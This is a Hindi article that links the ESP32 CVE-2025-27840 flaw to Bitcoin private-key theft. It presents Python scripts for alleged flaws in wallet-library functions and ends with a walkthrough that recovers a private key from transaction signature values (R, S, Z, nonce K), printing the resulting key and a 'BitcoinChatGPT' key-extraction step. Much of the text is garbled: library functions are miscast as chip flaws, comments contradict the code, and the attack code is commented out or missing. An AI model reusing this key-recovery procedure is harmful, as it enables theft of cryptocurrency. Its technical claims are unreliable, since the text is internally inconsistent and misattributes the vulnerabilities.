demining/bluetooth-attacks-cve-2025-27840बिटकॉइन क्रिप्टोविश्लेषण: ESP32 माइक्रोकंट्रोलर में CVE-2025-27840 भेद्यता वाई-फाई और ब्लूटूथ के माध्यम से अरबों IoT उपकरणों को जोखिम में डालती है
यह पेपर चर्चा करता है कि कैसे एक हमलावर मॉड्यूल अपडेट के माध्यम से छिपी हुई भेद्यताओं की एक सूची पेश कर सकता है, जिससे ESP32 उपकरणों से समझौता हो सकता है और निजी कुंजियों तक अनधिकृत पहुंच प्राप्त हो सकती है, जो इस माइक्रोकंट्रोलर का उपयोग करने वाले अरबों उपकरणों को प्रभावित करती है। प्रमुख मुद्दों में से एक ESP32 आर्किटेक्चर में खोजी गई CVE-2025-27840 भेद्यता है। बिटकॉइन नेटवर्क के लिए सुरक्षा सुनिश्चित करने के लिए, हमने निम्नलिखित भेद्यताओं की पहचान की, जहां फ़ंक्शन has_invalid_privkey में निचली सीमा जांच की कमी के कारण अमान्य निजी कुंजियों का उपयोग करने की संभावना है; BIP-137 के साथ असंगतता के कारण फ़ंक्शन electrum_sig_hash में लेनदेन हस्ताक्षर जालसाजी में भेद्यता; कुंजी निर्माण फ़ंक्शन random_key में एक कमजोर PRNG समस्या, जो क्रिप्टोकरेंसी वॉलेट के लिए व्यक्तिगत निजी कुंजियों को पूर्वानुमेय बनाती है; फ़ंक्शन multiply में ECC वक्र पर बिंदुओं के सत्यापन की कमी, जो अमान्य वक्र हमलों का कारण बन सकती है; फ़ंक्शन ecdsa_raw_sign में Y-निर्देशांक को पुनर्स्थापित करते समय भेद्यता, संभावित रूप से सार्वजनिक कुंजी के प्रतिस्थापन की ओर ले जाती है; और bin_ripemd160 में पदावनत हैशिंग APIs से संबंधित भेद्यताएं।
मार्च 2025 की शुरुआत में, Tarlogic Security ने ESP32 माइक्रोकंट्रोलर में एक भेद्यता की पहचान की, जो वाई-फाई और ब्लूटूथ के माध्यम से उपकरणों को जोड़ने के लिए व्यापक रूप से उपयोग किया जाता है। यह भेद्यता संख्या CVE-2025-27840 के तहत दर्ज की गई थी। हमलावर ESP32 चिप का उपयोग बिटकॉइन और एथेरियम जैसी लोकप्रिय क्रिप्टोकरेंसी के नेटवर्क पर चलने वाले उपकरणों पर क्रिप्टोग्राफ़िक हमलों के बिंदु के रूप में करके बिटकॉइन वॉलेट डेटा तक अनधिकृत रूप से पहुंच सकते हैं। यह समस्या इस माइक्रोकंट्रोलर का उपयोग करने वाले लाखों IoT उपकरणों को प्रभावित करती है। इस भेद्यता का फायदा उठाने से हमलावरों को वैध उपयोगकर्ताओं के रूप में प्रच्छन्न हमले करने और कमजोर उपकरणों को स्थायी रूप से संक्रमित करने की अनुमति मिलेगी। यह ESP32 माइक्रोकंट्रोलर पर आधारित IoT उपकरणों की सुरक्षा को खतरा पहुंचाता है और बिटकॉइन वॉलेट की निजी कुंजियों की चोरी का कारण बन सकता है।
ESP32 एक माइक्रोकंट्रोलर है जो IoT उपकरणों में वाई-फाई और ब्लूटूथ कनेक्टिविटी प्रदान करने के लिए व्यापक रूप से उपयोग किया जाता है। हमलावर ESP32 के माध्यम से बिटकॉइन वॉलेट के निजी कुंजी डेटा तक पहुंच प्राप्त करने के लिए विभिन्न तरीकों का उपयोग कर सकते हैं।
ESP32 माइक्रोकंट्रोलर से संबंधित सुरक्षा खतरे बिटकॉइन वॉलेट की निजी कुंजियों की चोरी का कारण बन सकते हैं। मुख्य समस्याओं में बैकडोर और भेद्यताओं की उपस्थिति शामिल है। ऐसी भेद्यताओं का उपयोग करके, वे मेमोरी में हेरफेर कर सकते हैं, MAC पते नकली कर सकते हैं, और दुर्भावनापूर्ण कोड इंजेक्ट कर सकते हैं, जिससे गंभीर सुरक्षा जोखिम पैदा होते हैं।
हमलावर ब्लूटूथ और वाई-फाई कनेक्शन में भेद्यताओं का उपयोग करके ESP32 माइक्रोकंट्रोलर वाले IoT उपकरणों पर हमला कर सकते हैं, जो बिटकॉइन से संबंधित नेटवर्क पर अन्य उपकरणों पर हमला करने के लिए एक उपकरण बन सकता है, साथ ही बिटकॉइन वॉलेट के लिए निजी कुंजियों सहित गोपनीय जानकारी चुरा सकता है।
एक हमलावर मॉड्यूल अपडेट कर सकता है और कोड में विभिन्न भेद्यताओं की एक सूची पेश कर सकता है, जिनमें शामिल हैं:
has_invalid_privkey में एक भेद्यता जिसका उपयोग निजी कुंजी प्राप्त करने के लिए किया जा सकता है।electrum_sig_hash में एक भेद्यता बिटकॉइन लेनदेन हस्ताक्षरों की जालसाजी की अनुमति देती है।random_key में भेद्यता एक कमजोर छद्म-यादृच्छिक संख्या जनरेटर (गैर-नियतात्मक PRNG) से संबंधित है।multiply में भेद्यता जहां ECC वक्र पर एक बिंदु की कोई जांच नहीं होती है।ecdsa_raw_sign और bin_ripemd160 में भेद्यताएं।इन भेद्यताओं का उपयोग ESP32 उपकरणों में नकली अपडेट इंजेक्ट करने के लिए किया जा सकता है, जिससे हमलावरों को सिस्टम तक निम्न-स्तरीय पहुंच मिलती है। यह उन्हें कोड ऑडिट नियंत्रणों को बायपास करने और निजी कुंजियों तक पहुंच प्राप्त करने की अनुमति देगा। वर्तमान में, उनके आर्किटेक्चर में एकल घटक की छिपी हुई विशेषताओं के कारण अरबों उपकरण असुरक्षित हो सकते हैं, जिसे CVE-2025-27840 के रूप में नामित किया गया है।
has_invalid_privkey में निजी कुंजी प्राप्त करने की भेद्यतायह भेद्यता बिटकॉइन की निजी कुंजी सत्यापन कोड में पाई गई थी, जो निचली सीमा जांच की कमी के कारण अमान्य कुंजियों (0 से कम या उसके बराबर) के उपयोग की अनुमति देती है। इससे धन की हानि हो सकती है। इसे ठीक करने के लिए, यह सुनिश्चित करने के लिए एक जांच जोड़ी जानी चाहिए कि निजी कुंजी 0 से अधिक है। कोड प्रदर्शन उद्देश्यों के लिए दिया गया है।
यह बग खराब निजी कुंजियों के उपयोग की अनुमति देता है, जिससे पैसे की हानि सहित गंभीर समस्याएं हो सकती हैं।
इसे ठीक करने के लिए, आपको यह सुनिश्चित करने के लिए एक जांच जोड़नी होगी कि निजी कुंजी 0 से अधिक है।
कल्पना करें कि कोई व्यक्ति बिटकॉइन नेटवर्क को “हैक” करने का प्रयास कर रहा है। उन्हें क्रिप्टोकरेंसी तक पहुंचने के लिए उपयोग की जाने वाली निजी कुंजियों के सत्यापन में एक कमजोर बिंदु मिलता है।
समस्या यह है कि कोड केवल यह जांचता है कि निजी कुंजी बहुत बड़ी है या नहीं। यदि कुंजी बहुत बड़ी है, तो इसे अस्वीकार कर दिया जाता है। लेकिन कोड यह जांचना भूल जाता है कि कुंजी बहुत छोटी है या नहीं (शून्य से कम या उसके बराबर)।
जहां यह होता है उस कोड का अनुभाग:
...
...if privkey >= N: #Checking only the upper boundLower bound is not checked properly
raise Exception("Invalid privkey")
if privkey <= 0: #
return True
...
...
इस बग के कारण, अमान्य (बहुत छोटी) निजी कुंजियों का उपयोग करना संभव है। यह भेद्यता फ़ंक्शन has_invalid_privkey में स्थित है।
यह सब काम करने के लिए, आपको लाइब्रेरी ecdsa स्थापित करने की आवश्यकता है (यह क्रिप्टोग्राफी के साथ काम करने के लिए आवश्यक है):
पायथन स्क्रिप्ट secp256k1_privkey_validator.py
!pip install ecdsa
import ecdsa
def has_invalid_privkey(privkey: int) -> bool:
"""
Checks if a private key is invalid, based on the absence of a lower bound check.
Args:
privkey: The private key to check.
Returns:
True if the private key is invalid (<= 0 or >= N), False otherwise.
"""
# Order of the secp256k1 elliptic curve used by Bitcoin
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
if privkey >= N: # Check only the upper bound
raise Exception("Invalid privkey")
if privkey <= 0: # Lower bound check missing
return True
return False
# Example usage
privkey = 0 # Invalid private key
is_invalid = has_invalid_privkey(privkey)
if is_invalid:
print("Invalid private key!")
else:
print("Valid private key.")
कोड स्पष्टीकरण:
ecdsa लाइब्रेरी आयात करना : यद्यपि इस उदाहरण में सीधे उपयोग नहीं किया गया है, बिटकॉइन और ECDSA (एलिप्टिक कर्व डिजिटल सिग्नेचर एल्गोरिदम) से संबंधित वास्तविक दुनिया के परिदृश्यों में, क्रिप्टोग्राफ़िक संचालन करने के लिए इस लाइब्रेरी की आवश्यकता हो सकती है।has_invalid_privkey(privkey: int) -> bool :
privkeyइनपुट के रूप में एक पूर्णांक निजी कुंजी स्वीकार करता है।Nपरिभाषित करता है जो बिटकॉइन में उपयोग किए जाने वाले secp256k1 एलिप्टिक कर्व के क्रम का प्रतिनिधित्व करता है।privkey N से अधिक या उसके बराबर है। यदि ऐसा है, तो एक अपवाद उठाता है जो दर्शाता है कि निजी कुंजी अमान्य है।privkey 0 से कम या उसके बराबर है। यदि ऐसा है, तो True लौटाता है, यह दर्शाता है कि निचली सीमा जांच की कमी के कारण निजी कुंजी अमान्य है।False लौटाता है।privkey = 0 पर सेट करता है, जो एक अमान्य निजी कुंजी है।भेद्यता :
कोड में अपर्याप्त निजी कुंजी सत्यापन से संबंधित एक भेद्यता है। अर्थात्, कोई निचली सीमा जांच नहीं है (privkey <= 0)। यह अमान्य निजी कुंजियों के उपयोग की अनुमति देता है, जिससे धन की हानि सहित अप्रत्याशित परिणाम हो सकते हैं।
इसे कैसे ठीक करें :
निजी कुंजी पर एक निचली सीमा जांच जोड़ने की आवश्यकता है ताकि यह सुनिश्चित हो सके कि यह 0 से अधिक है।
electrum_sig_hash में बिटकॉइन लेनदेन हस्ताक्षर जालसाजी भेद्यताइलेक्ट्रम में फ़ंक्शन electrum_sig_hash एक गैर-मानक संदेश हैशिंग विधि का उपयोग करता है, जो BIP-137 के साथ असंगतता के कारण इसे हस्ताक्षर जालसाजी हमलों के लिए संवेदनशील बनाता है।
बिटकॉइन नेटवर्क को लक्षित करने वाला एक हमलावर electrum_sig_hash के माध्यम से इलेक्ट्रम द्वारा उपयोग की जाने वाली गैर-मानक संदेश हैशिंग विधि की खोज कर सकता है। यह फ़ंक्शन संदेश हैश को इस तरह से बनाता है जो BIP-137 असंगतता के कारण हस्ताक्षर जालसाजी हमलों का कारण बन सकता है। प्रदान की गई पायथन स्क्रिप्ट दर्शाती है कि कैसे एक हमलावर BIP-137 असंगतता भेद्यता का फायदा उठाने के लिए इलेक्ट्रम द्वारा उपयोग किए जाने वाले संदेश हैश को उत्पन्न कर सकता है। फ़ंक्शन electrum_sig_hash SHA256 के साथ डबल-हैशिंग से पहले संदेश को उपसर्गित करके और उसकी लंबाई को एन्कोड करके संदेश तैयार करता है।
एक पायथन स्क्रिप्ट यह दर्शाती है कि कैसे एक हमलावर BIP-137 असंगतता के कारण हस्ताक्षर जालसाजी हमले करने के लिए इलेक्ट्रम द्वारा उपयोग किए जाने वाले गैर-मानक संदेश हैश को ढूंढ सकता है।
पायथन स्क्रिप्ट bitcoin_sign_hash.py
!pip install ecdsa
import hashlib
def num_to_var_int(i):
if i < 0xfd:
return i.to_bytes(1, 'little')
elif i <= 0xffff:
return b'\xfd' + i.to_bytes(2, 'little')
elif i <= 0xffffffff:
return b'\xfe' + i.to_bytes(4, 'little')
else:
return b'\xff' + i.to_bytes(8, 'little')
def from_string_to_bytes(s):
return s.encode('utf-8')
def bin_dbl_sha256(s):
hash1 = hashlib.sha256(s).digest()
hash2 = hashlib.sha256(hash1).digest()
return hash2
def electrum_sig_hash(message):
padded = b"\x18Bitcoin Signed Message:\n" + num_to_var_int(len(message)) + from_string_to_bytes(message)
return bin_dbl_sha256(padded)
# Usage example
message = "Example message for signing"
message_hash = electrum_sig_hash(message)
print(f"Electrum message hash: {message_hash.hex()}")
इस स्क्रिप्ट में:
num_to_var_int(i): एक पूर्णांक को बिटकॉइन में उपयोग किए जाने वाले परिवर्तनीय-लंबाई प्रारूप में परिवर्तित करता है।from_string_to_bytes(s): UTF-8 एन्कोडिंग का उपयोग करके एक स्ट्रिंग को बाइट्स में एन्कोड करता है।bin_dbl_sha256(s): इनपुट पर डबल SHA256 हैशिंग करता है।electrum_sig_hash(message): संदेशों को हैश करने के इलेक्ट्रम के गैर-मानक तरीके का अनुकरण करता है, जो BIP-137 असंगति के अधीन है।random_key कमजोर PRNG फ़ंक्शन में भेद्यता (गैर-नियतात्मक PRNG)समस्या तब उत्पन्न होती है जब बिटकॉइन एक फ़ंक्शन random_key का उपयोग करता है जो कुंजियाँ बनाने के लिए random मापांक पर निर्भर करता है। random मापांक क्रिप्टोग्राफ़िक उद्देश्यों के लिए अभिप्रेत नहीं है क्योंकि यह पर्याप्त यादृच्छिक संख्याएं उत्पन्न नहीं करता है, जिससे निजी कुंजियाँ हमलावरों के लिए पूर्वानुमेय हो जाती हैं। यह बिटकॉइन नेटवर्क को कमजोर छोड़ देता है।
एक Python स्क्रिप्ट जो बिटकॉइन नेटवर्क को असुरक्षित बनाती है, क्योंकि यह random का उपयोग secrets या os.urandom के बजाय करती है, जिससे निजी कुंजियाँ बिटकॉइन हमलावर के लिए अनुमानित हो जाती हैं:
Python स्क्रिप्ट privkey_generate.py
import random
import time
from hashlib import sha256
def random_string(length):
return ''.join(random.choice('0123456789abcdef') for i in range(length))
def random_key():
# Gotta be secure after that java.SecureRandom fiasco...
entropy = random_string(32) \
+ str(random.randrange(2**256)) \
+ str(int(time.time() * 1000000))
return sha256(entropy.encode('utf-8')).hexdigest()
# Example usage: generate a private key
private_key = random_key()
print("Generated Private Key:", private_key)यह स्क्रिप्ट कुंजियाँ उत्पन्न करने के लिए random मॉड्यूल का उपयोग करती है, जो इसे असुरक्षित बनाता है। random मॉड्यूल का उपयोग क्रिप्टोग्राफ़िक उद्देश्यों के लिए उपयुक्त नहीं है, क्योंकि यह पर्याप्त रूप से यादृच्छिक संख्याएँ उत्पन्न नहीं करता है।
अधिक सुरक्षित कुंजी बनाने के लिए, आप secrets या os.urandom मॉड्यूल का उपयोग कर सकते हैं। यहाँ secrets मॉड्यूल का उपयोग करने का एक उदाहरण दिया गया है:
import secrets
import hashlib
def secure_random_key():
# Generate a random number with enough entropy
random_bytes = secrets.token_bytes(32) # 32 bytes = 256 bits
# Hash the random bytes to create a private key
private_key = hashlib.sha256(random_bytes).hexdigest()
return private_key
# Example usage: generate a secure private key
secure_private_key = secure_random_key()
print("Generated Secure Private Key:", secure_private_key)इस उदाहरण में, पर्याप्त एन्ट्रॉपी के साथ एक यादृच्छिक संख्या उत्पन्न करने के लिए secrets मॉड्यूल का उपयोग किया जाता है। फिर निजी कुंजी बनाने के लिए उस यादृच्छिक संख्या को हैश किया जाता है। यह विधि random मॉड्यूल का उपयोग करने की तुलना में कहीं अधिक सुरक्षित है।
Y-निर्देशांक पुनर्स्थापित करते समय ecdsa_raw_sign फ़ंक्शन में एक भेद्यता, बिटकॉइन नेटवर्क में सार्वजनिक कुंजी के प्रतिस्थापन का कारण बन सकती है। इस बात का उच्च जोखिम है कि एक हमलावर दीर्घवृत्तीय वक्र के साथ कार्य करते समय Y-निर्देशांक पुनर्स्थापना की विशिष्टता का फायदा उठा सकता है। यह अस्पष्टता इस तथ्य को जन्म दे सकती है कि सार्वजनिक कुंजी गलत तरीके से पुनर्स्थापित हो जाती है ।
लाइब्रेरी pycryptodome का उपयोग करके दिया गया कोड उदाहरण दर्शाता है कि भिन्न, अमान्य सार्वजनिक कुंजी प्राप्त करने के लिए Y-निर्देशांक को बदलकर इस स्थिति का अनुकरण कैसे किया जा सकता है। यह ध्यान रखना महत्वपूर्ण है कि कोड उदाहरण सरलीकृत है और हमले का पूर्ण कार्यान्वयन नहीं है, बल्कि केवल इसका सिद्धांत दिखाता है।
एक हमलावर बिटकॉइन नेटवर्क में Y-निर्देशांक पुनर्प्राप्ति की अस्पष्टता का फायदा उठा सकता है, जिससे सार्वजनिक कुंजी पुनर्प्राप्ति में त्रुटियाँ हो सकती हैं। यहाँ इस बात का एक उदाहरण दिया गया है कि बिटवाइज़ XOR ऑपरेशन का उपयोग करके यह कैसे किया जा सकता है।
Python स्क्रिप्ट weak_key_recovery.py
!pip install pycryptodome
from hashlib import sha256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
import secrets
# Elliptic curve parameters secp256k1
# PyCryptodome does not provide a convenient way to directly specify the parameters of the secp256k1 curve.
# Therefore, we will use the standard ECC curve.
# For production code, be careful when choosing the curve and its parameters.
def hash_to_int(msghash):
return int(sha256(msghash.encode('utf-8')).hexdigest(), 16)
def deterministic_generate_k(msghash, priv_key_int):
k = 0
while k == 0:
v = b'\x01' * 32
k = b'\x00' * 32
k = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
v = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
k = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
v = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
k = int.from_bytes(sha256(v + k).digest(), 'big') # % N # Removed % N, since N is no longer a defined constant
return k
def ecdsa_raw_sign(msghash, priv_key_int):
z = hash_to_int(msghash)
k = deterministic_generate_k(msghash, priv_key_int)
# Generate private key object
key = ECC.construct(curve='P-256', d=priv_key_int)
# Calculate point R = kG
# PyCryptodome does not provide direct access to the coordinates of point R
# Therefore, the signature will be calculated in a different way, using DSS
# s = pow(k, -1, N) * (z + r * private_key_int) % N # N is no longer defined
# v = 27 + ((y % 2) ^ (0 if s * 2 < N else 1)) # y is not available
return key, z, k # Return the key, hash, and k for further use in signing
def recover_pubkey(msghash, signature, key):
# WARNING: This is a VERY SIMPLIFIED example of public key recovery.
# In real life, ECDSA public key recovery is a complex process.
# This code is intended only to demonstrate the principle.
# PyCryptodome does not have a simple way to recover PublicKey from r and s directly.
# This code does not perform real recovery, but creates a new PublicKey from the private key.
# In a real attack scenario, you need to try to guess the y-coordinate to get a valid PublicKey.
# But this requires a more complex logic to work with the elliptic curve. return key.public_key()def emulate_attack(msghash, priv): # 1. Sign the message priv_key_int = int(priv, 16) key, z, k = ecdsa_raw_sign(msghash, priv_key_int) signer = DSS.new(key, 'fips-186-3') hash_obj = SHA256.new(msghash.encode('utf-8')) signature = signer.sign(hash_obj) # 2. Attempt to recover the public key (incorrectly) Q = recover_pubkey(msghash, signature, key) # 3. Simulate a situation where the Y coordinate is recovered incorrectly # In a real attack scenario, an attacker will try to iterate through different y-coordinates. # In this example, we simply change the x-coordinate slightly tampered_key = ECC.construct(curve='P-256', d=priv_key_int + 1) # EXAMPLE! DO NOT DO THIS IN REAL CODE! Q_tampered = tampered_key.public_key() return Q, Q_tampered # Example usage msghash = "Message example" # Generate a random private key private_key = ECC.generate(curve='P-256') priv = hex(private_key.d) # Store private key as a hex string # Example usage Q, Q_tampered = emulate_attack(msghash, priv) print("Original Public Key:", Q) print("Tampered Public Key:", Q_tampered) print("Are the keys equal?", Q == Q_tampered)
यह स्क्रिप्ट दर्शाती है कि अमान्य सार्वजनिक कुंजी उत्पन्न करने के लिए Y-निर्देशांक को कैसे बदला जा सकता है।
कृपया ध्यान दें कि यह केवल एक उदाहरण है और वास्तविक हमला कहीं अधिक जटिल हो सकता है।
उपरोक्त स्क्रिप्ट के अलावा, विचार करने योग्य कुछ अतिरिक्त बिंदु यहाँ दिए गए हैं:
बिटकॉइन नेटवर्क पर लीगेसी हैशिंग API, विशेष रूप से RIPEMD-160 की अनुपस्थिति में, असुरक्षित हो सकते हैं। हमलावर कमजोर कार्यान्वयनों की पहचान कर उनका फायदा उठा सकते हैं, जो अद्यतित क्रिप्टोग्राफ़िक लाइब्रेरियों और नियमित सुरक्षा अपडेट के उपयोग के महत्व को रेखांकित करता है।
बिटकॉइन नेटवर्क पर एक हमलावर लीगेसी हैशिंग API में भेद्यता पा सकता है, विशेषकर यदि कुछ सिस्टम में RIPEMD-160 कार्यान्वयन की कमी है। समस्या bin_ripemd160 फ़ंक्शन में है, जो हैशिंग के लिए hashlib का उपयोग करने का प्रयास करता है, लेकिन यदि वह विफल हो जाता है, तो यह अपने स्वयं के, संभावित रूप से कमजोर कार्यान्वयन पर स्विच कर देता है।
प्रदान की गई Python स्क्रिप्ट दर्शाती है कि एक हमलावर ऐसे कमजोर API कार्यान्वयन के लिए बिटकॉइन नोड का परीक्षण कैसे कर सकता है। यदि hashlib RIPEMD-160 का समर्थन नहीं करता है, तो एक सरलीकृत कार्यान्वयन का उपयोग किया जाता है, जो हैश संघर्षों और अन्य भेद्यताओं का कारण बन सकता है। स्क्रिप्ट डेटा को हैश करके और कमजोर कार्यान्वयन के उपयोग होने पर चेतावनी प्रिंट करके हमले का अनुकरण करती है।
जोखिमों में लेन-देन जालसाज़ी की संभावना और लीगेसी API में ज्ञात भेद्यताओं का शोषण शामिल है। स्वयं को सुरक्षित रखने के लिए, अद्यतित और परीक्षणित क्रिप्टोग्राफ़िक लाइब्रेरियों का उपयोग करने, बिटकॉइन सॉफ़्टवेयर को नियमित रूप से अपडेट करने और क्रिप्टोग्राफ़िक ऑपरेशनों के आउटपुट की जाँच करने की अनुशंसा की जाती है।
एक Python स्क्रिप्ट जिसमें एक बिटकॉइन हमलावर एक अप्रचलित (deprecated) हैशिंग API ढूंढता है और कुछ वातावरणों में RIPEMD-160 लागू न करने के जोखिम पर चर्चा करता है:
Python स्क्रिप्ट ripemd160_vulnerability.py
RIPEMD160 RIPEMD160 के एक कार्यान्वयन का अनुकरण करती है। वास्तव में, इसे RIPEMD160 हैशिंग एल्गोरिथम को लागू करना चाहिए। प्रदर्शन उद्देश्यों के लिए, यह एक डमी हैश लौटाती है।bin_ripemd160(string):
check_for_weak_api(data):
bin_ripemd160को कॉल करता है।if __name__ == "__main__":में, यह नमूना डेटा निर्दिष्ट करता है और उस डेटा के साथ check_for_weak_apiको कॉल करता है।hashlibका उपयोग करने की कोशिश करता है। यदि यह विफल हो जाता है (क्योंकि hashlibविशेष वातावरण RIPEMD160 का समर्थन नहीं करता है), तो यह कस्टम इम्प्लीमेंटेशन का सहारा लेता है (जो इस उदाहरण में एक सरलीकृत संस्करण है)।multiply में कमजोरी: ECC वक्र पर बिंदु की जाँच न होनाBitcoin के फ़ंक्शन multiply में ECC वक्र पर बिंदुओं के अपर्याप्त सत्यापन के कारण एक संभावित कमजोरी है। यह हमलावर को अमान्य वक्र हमले (invalid curve attacks) करने की अनुमति दे सकता है, हालाँकि pycryptodomeजैसी आधुनिक क्रिप्टोग्राफ़िक लाइब्रेरीज़ ऐसे शोषण को कठिन बना देती हैं। यह हमला Jacobian वक्र में हेरफेर के माध्यम से संभव है, जिससे जाली हस्ताक्षर और नेटवर्क में हेरफेर हो सकता है।
Bitcoin नेटवर्क में, एक हमलावर फ़ंक्शन multiplyमें एक कमजोरी पा सकता है, जिसमें यह पूरी तरह से जाँच नहीं करता कि कोई बिंदु एक अण्डाकार वक्र (ECC) पर है या नहीं। कोड में, जाँच केवल गैर-शून्य बिंदुओं के लिए की जाती है, जो अमान्य वक्रों (invalid curve attacks)का उपयोग करने वाले हमलों की संभावना खोलता है।
हमलावर का नमूना कोड दिखाता है कि इस कमजोरी का शोषण कैसे किया जा सकता है। यह एक multiplyफ़ंक्शन प्रदर्शित करता है जिसमें वक्र पर बिंदु की विश्वसनीय जाँच का अभाव है, और एक invalid_curve_attackफ़ंक्शन जो इस कमजोरी का फायदा उठाने का प्रयास करता है। कोड क्रिप्टोग्राफ़िक कार्यों के लिए pycryptodome लाइब्रेरी का भी उपयोग करता है।
निर्मित सुरक्षा तंत्रों के कारण pycryptodome में ऐसे हमलों को सीधे करना कठिन है। कोड दिखाता है कि कैसे कोई व्यक्ति एक “गलत” वक्र बना सकता है और गुणा करने का प्रयास कर सकता है, लेकिन इस बात पर जोर दिया गया है कि यह असुरक्षित है और इसके लिए क्रिप्टोग्राफी की गहरी समझ की आवश्यकता है।
फ़ंक्शन
multiplyमें एक कमजोरी का शोषण करके, एक हमलावर Bitcoin नेटवर्क पर निजी कुंजियों से समझौता करने के लिए एक अमान्य वक्र हमला कर सकता है। नीचे इस हमले को प्रदर्शित करने वाली एक नमूना Python स्क्रिप्ट दी गई है।
Python स्क्रिप्ट ecdsa_curve_attack.py
!pip install pycryptodome
from Crypto.Hash import SHA256
from Crypto.Signature import DSS
from Crypto.PublicKey import ECC
from Crypto.Math import *
class Exploit:
def __init__(self):
self.msg = "ATTACK!"
self.hash = hash_msg(self.msg)
def sign_message(self, private_key):
signer = DSS.new(private_key, 'fips-186-3')
signature = signer.sign(self.hash)
return signature
def verify_signature(self, public_key, signature):
verifier = DSS.new(public_key, 'fips-186-3')
try:
verifier.verify(self.hash, signature)
return True
except ValueError:
return False
def hash_msg(msg):
hasher = SHA256.new(msg.encode('utf-8'))
return hasher.digest()
# Elliptic curve parameters (example, must be replaced with the parameters of the curve being used)
# WARNING: IN REAL CODE, YOU MUST USE SECURE CURVES AND THEIR PARAMETERS!
# EXAMPLE FOR DEMONSTRATION, DO NOT USE IN PRODUCTION!
curve = 'secp256r1' # Or another curve
# Vulnerable function (EXAMPLE! PyCryptodome HAS NO DIRECT EQUIVALENT to fast_multiply)
# This function is here to demonstrate the vulnerability, but requires adaptation to specific needs and cryptographic primitives.
def multiply(pubkey, privkey):
# WARNING: THIS IS A VERY SIMPLIFIED EXAMPLE, NOT SAFE!
# IN REAL CODE, YOU NEED TO USE CRYPTOGRAPHICALLY SECURE METHODS!
# Checking if the point is on the curve. In PyCryptodome, this is done automatically.
#Performing multiplication
result = privkey.d * pubkey.pointQ
return result
# Example of invalid curve attack (adapted for pycryptodome)
def invalid_curve_attack(public_key, malformed_curve_parameters):
# Creating a "wrong" curve (example!)
#malformed_curve = ECC.CurveObj(malformed_curve_parameters['name'],
# malformed_curve_parameters['oid'],
# malformed_curve_parameters['field'],
# malformed_curve_parameters['a'],
# malformed_curve_parameters['b'],
# malformed_curve_parameters['generator'],
# malformed_curve_parameters['order'])
# Creating a public key on the "wrong" curve (example!)
#attacker_key = ECC.EccPoint(malformed_curve_parameters['generator'].x, malformed_curve_parameters['generator'].y, malformed_curve)
# Creating a fake private key (example!) #attacker_private_key = ECC.construct(curve=malformed_curve, pointQ=attacker_key) # WARNING: In PyCryptodome, it is more difficult to directly manipulate curves and points # to demonstrate invalid curve attack. This code is left commented out, # because correct operation requires a deep understanding of ECC and unsafe operations. # It is recommended to use standard curves and avoid creating your own. # Performing multiplication using the vulnerable function (EXAMPLE! NOT SAFE!) # result = multiply(attacker_key, attacker_private_key) # return result return None # Returning None to avoid an error # Example of "wrong" curve parameters (NEVER USE IN PRODUCTION!) # This is just an example showing the data structure. Real parameters should be carefully selected. # These parameters are commented out to avoid an error when creating EccPoint with curve=None malformed_curve_parameters = { #'name': "MalformedCurve", #'oid': "1.2.3.4", #'field': 17, #'a': 2, #'b': 3, #'generator': ECC.EccPoint(5, 1), # Removed None because it causes an error #'order': 19 } # Creating a private key (for example) private_key = ECC.generate(curve=curve) public_key = private_key.public_key() # Example of using invalid curve attack attack_result = invalid_curve_attack(public_key, malformed_curve_parameters) print(attack_result)
कोड स्पष्टीकरण:
multiplyकेवल तब जाँच करता है कि कोई बिंदु ECC वक्र पर है, जब वह अनंत बिंदु न हो। यह उन बिंदुओं का उपयोग करने की अनुमति देता है जो मुख्य वक्र पर नहीं हैं, बल्कि ट्विस्ट वक्र पर हैं।invalid_curve_attack: यह फ़ंक्शन एक सार्वजनिक कुंजी और विकृत वक्र पैरामीटर लेता है। यह विकृत वक्र पर एक बिंदु बनाता है और गुणा करने के लिए कमजोर फ़ंक्शन multiplyका उपयोग करता है।स्मॉल सबग्रुप हमला कैसे काम करता है:
Qकम-ऑर्डर बिंदु चुनता है।Qको पीड़ित को अपनी सार्वजनिक कुंजी के रूप में भेजता है।nQकी गणना करता है, जहाँ n पीड़ित की गुप्त कुंजी है।Qका ऑर्डर छोटा है, इसलिए nQ के लिए संभावित मानों की संख्या कम होती है। हमलावर इन सभी मानों पर ब्रूट-फोर्स कर सकता है और Qके ऑर्डर modulo nका विस्तार करके यह देख सकता है कि कौन सा मान एन्क्रिप्टेड डेटा से मेल खाता है।अनुशंसाएँ:
एक कमजोर RawTX लेनदेन को SMALL SUBGROUP ATTACK सेवा फ़ंक्शन का उपयोग करके डिकोड करें
परिणाम मान K गुप्त कुंजी Nonce का है, जो HEX प्रारूप में होता है
K = 6bd261bd25ac54807552dfeec6454d6719ec8a05cb11ad5171e1ad68abb0acb2कमजोर RawTX लेनदेन से अन्य सभी मान प्राप्त करने के लिए, हम RSZ Signature Decoder सेवा का उपयोग करेंगे।
R, S, Z के लिए परिणाम मान HEX प्रारूप में
R = 5013dbed340fed00b6cb9778a713e1456b8138d00c3bcf6e7ff117be723335d0
S = 5018ddd352a6bc61b86afee5001a3e25d26a328a833c8f3812a15465f542c1c9
Z = 396ebf23dbcccce2a389ccb26198e25118bf7f72c38d2a4ab8d9e4648f2385f8निजी कुंजी का मान X सूत्र: priv_key = ((((S * K) - Z) * modinv(R, N)) % N)से प्राप्त करने के लिए, हम Dockeyhunt Private Key Calculator सॉफ़्टवेयर का उपयोग करेंगे।
परिणामस्वरूप, हमें X निजी कुंजी का मान HEX प्रारूपमें प्राप्त होता है
X = 0x12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34आइए BitcoinChatGPT लॉन्च करें
%run BitcoinChatGPTApply the SMALL SUBGROUP ATTACK function to extract the private key from a vulnerable RawTX transaction in the Bitcoin cryptocurrency
अंत में, BitcoinChatGPT मॉड्यूल प्रतिक्रिया को फ़ाइल में आउटपुट करता है: KEYFOUND.privkey जो निजी कुंजी को दो सबसे अधिक उपयोग किए जाने वाले प्रारूपों HEX & WIFमें संग्रहीत करता है
